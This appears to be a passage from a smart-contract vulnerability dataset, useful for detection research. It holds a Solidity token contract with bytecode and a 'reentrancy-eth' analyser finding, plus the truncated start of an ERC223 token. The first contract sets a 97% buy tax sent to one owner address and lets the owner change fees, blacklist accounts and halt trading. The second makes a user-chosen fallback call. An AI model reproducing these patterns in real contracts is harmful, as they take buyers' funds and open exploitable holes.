require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APEOCALYSPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APEOCALYPSE";
string private constant _symbol = "APES";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d);
address payable private _marketingAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600b81526a4150454f43414c5950534560a81b60208201525b60405161023b9190611a22565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a77565b61069a565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5066038d7ea4c680005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611aa3565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae4565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b11565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae4565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2c565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae4565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611b11565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260048152634150455360e01b602082015261022e565b3480156104bc57600080fd5b506101fc6104cb366004611b2c565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b45565b610934565b3480156104fc57600080fd5b5061026461050b366004611a77565b610972565b34801561051c57600080fd5b5061026461052b366004611ae4565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b77565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2c565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae4565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c34565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c95565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c34565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c34565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c34565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c34565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c69565b9050602002016020810190610a349190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c95565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c34565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c34565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb0565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a22565b50600061121e8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611cdf565b816001815181106113cc576113cc611c69565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611731565b6001600160a01b0389166000908152600260205260409020556115c481611790565b6115ce84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164082826114bf565b82101561165b5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106259190611a22565b50600061121e8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149c565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b60008061173e8385611cb0565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179a61149c565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bf565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106ab565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112de81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112de82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112de81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005259de69295f86466c9cf83619f2464cd21f36ef5f9be7c0c5bbf778fac709764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,569 |
0x3d61e14dac9764024243fefba73b5febbcdf647e
|
pragma solidity ^0.4.19;
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract INZEI is ERC223, Ownable {
using SafeMath for uint256;
string public name = "INZEI";
string public symbol = "INZ";
uint8 public decimals = 8;
uint256 public initialSupply = 10e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function INZEI() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
